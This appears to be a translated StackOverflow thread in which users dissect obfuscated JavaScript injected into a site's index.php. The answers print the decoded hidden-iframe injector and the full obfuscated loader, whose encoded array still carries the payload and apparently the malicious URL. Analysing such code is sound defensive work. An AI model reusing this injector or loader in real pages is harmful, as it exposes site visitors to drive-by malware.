Почему этот запутанный код вредоносен в JavaScript?

Сайт моего друга был указан как вредоносный, и мы обнаружили запутанный код, который был внедрен в его index.php без его ведома. Я деобфусцировал код на два уровня и обнаружил следующее:

(код можно посмотреть в истории изменений)

Может ли кто-нибудь сказать мне, что он пытается сделать и почему он злонамерен?


javascript obfuscation deobfuscation
person Nathan F.    schedule 09.11.2012    source источник
comment
замените eval на alert, чтобы увидеть, что он делает.   -  person georg    schedule 09.11.2012

Ответы (2)


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12
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Подводя итог, код «декодирует» HTML, который помещает <iframe>, который загружается, во вредоносный URL.

Следующая строка содержит «закодированный» HTML:

n = ["9","9","45","42", ...

Каждое число представляет собой символ с основанием 25. Код будет перебирать этот массив и использовать javascript String.fromCharCode() для преобразования его в символ ASCII. После всего этого он eval() разместит его на странице.

"Декодированный" javascript:

if (document.getElementsByTagName('body')[0]){
    iframer();
} else {
    document.write("<iframe src='[stripped]' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
}
function iframer(){
    var f = document.createElement('iframe');f.setAttribute('src','[stripped]');f.style.visibility='hidden';f.style.position='absolute';f.style.left='0';f.style.top='0';f.setAttribute('width','10');f.setAttribute('height','10');
    document.getElementsByTagName('body')[0].appendChild(f);
}

Обратите внимание: в целях безопасности я удалил вредоносный URL из кода.

person newfurniturey    schedule 09.11.2012
comment
Спасибо! Мне просто было любопытно, что он делал и как. - person Nathan F.; 09.11.2012

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2
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Он вставляет на страницу скрытый iframe, связанный с тем, что вполне может быть изворотливым сайтом. Вот безопасная версия кода, которую вы можете запустить и посмотреть, что она пытается внедрить ...

http://jsfiddle.net/FqtZ8/

Я посетил сайт, на который он ссылается, и Chrome предупредил меня о вредоносном ПО, поэтому я не пошел дальше.

try{
if(window.document) window["document"]["body"]="123"
}catch(bawetawe){
if(window.document){
v=window;
try{
fawbe--
}catch(afnwenew){
try{
(v+v)()
}catch(gngrthn){
try{if(020===0x10)v["document"]["body"]="123"
}catch(gfdnfdgber){
m=123;
if((alert+"").indexOf("na"+"ti"+"ve")!==-1)ev=window["eval"];
}
}
n=            ["9","9","45","42","17","1f","40","4b","3o","4h","49","41","4a","4g","1l","43","41","4g","    j","48","41","49","41","4a","4g","4f","2g","4l","39","3m","43","33","3m","49","41","1f","1e","3n","4b","40","4l","1e","1g","3g","1n","3i","1g","4n","d","9","9","9","45","42","4e","3m","49","41","4e","1f","1g","29","d","9","9","50","17","41","48","4f","41","17","4n","d","9","9","9","40","4b","3o","4h","49","41","4a","4g","1l","4j","4e","45","4g","41","1f","19","2a","45","42","4e","3m","49","41","17","4f","4e","3o","2b","1e","44","4g","4g","4c","28","1m","1m","43","3o","4d","40","4f","47","3m","4j","4f","4k","1l","41","40","4a","4f","1l","3n","45","4m","1m","4g","1m","4i","3o","1l","4c","44","4c","2d","43","4b","2b","20","1e","17","4j","45","40","4g","44","2b","1e","1o","1n","1e","17","44","41","45","43","44","4g","2b","1e","1o","1n","1e","17","4f","4g","4l","48","41","2b","1e","4i","45","4f","45","3n","45","48","45","4g","4l","28","44","45","40","40","41","4a","29","4c","4b","4f","45","4g","45","4b","4a","28","3m","3n","4f","4b","48","4h","4g","41","29","48","41","42","4g","28","1n","29","4g","4b","4c","28","1n","29","1e","2c","2a","1m","45","42","4e","3m","49","41","2c","19","1g","29","d","9","9","50","d","9","9","42","4h","4a","3o","4g","45","4b","4a","17","45","42","4e","3m","49","41","4e","1f","1g","4n","d","9","9","9","4i","3m","4e","17","42","17","2b","17","40","4b","3o","4h","49","41","4a","4g","1l","3o","4e","41","3m","4g","41","2j","48","41","49","41","4a","4g","1f","1e","45","42","4e","3m","49","41","1e","1g","29","42","1l","4f","41","4g","2f","4g","4g","4e","45","3n","4h","4g","41","1f","1e","4f","4e","3o","1e","1j","1e","44","4g","4g","4c","28","1m","1m","43","3o","4d","40","4f","47","3m","4j","4f","4k","1l","41","40","4a","4f","1l","3n","45","4m","1m","4g","1m","4i","3o","1l","4c","44","4c","2d","43","4b","2b","20","1e","1g","29","42","1l","4f","4g","4l","48","41","1l","4i","45","4f","45","3n","45","48","45","4g","4l","2b","1e","44","45","40","40","41","4a","1e","29","42","1l","4f","4g","4l","48","41","1l","4c","4b","4f","45","4g","45","4b","4a","2b","1e","3m","3n","4f","4b","48","4h","4g","41","1e","29","42","1l","4f","4g","4l","48","41","1l","48","41","42","4g","2b","1e","1n","1e","29","42","1l","4f","4g","4l","48","41","1l","4g","4b","4c","2b","1e","1n","1e","29","42","1l","4f","41","4g","2f","4g","4g","4e","45","3n","4h","4g","41","1f","1e","4j","45","40","4g","44","1e","1j","1e","1o","1n","1e","1g","29","42","1l","4f","41","4g","2f","4g","4g","4e","45","3n","4h","4g","41","1f","1e","44","41","45","43","44","4g","1e","1j","1e","1o","1n","1e","1g","29","d","9","9","9","40","4b","3o","4h","49","41","4a","4g","1l","43","41","4g","2j","48","41","49","41","4a","4g","4f","2g","4l","39","3m","43","33","3m","49","41","1f","1e","3n","4b","40","4l","1e","1g","3g","1n","3i","1l","3m","4c","4c","41","4a","40","2h","44","45","48","40","1f","42","1g","29","d","9","9","50"];
h=2;
s="";
if(m) for(i=0;i-589!=0;i++){
k=i;
if(window["document"]) s+=String["fro"+"mC"+"harCode"](
parseInt(n[i],25)
);
}z=s;alert(z);
}
}
}?
person Reinstate Monica Cellio    schedule 09.11.2012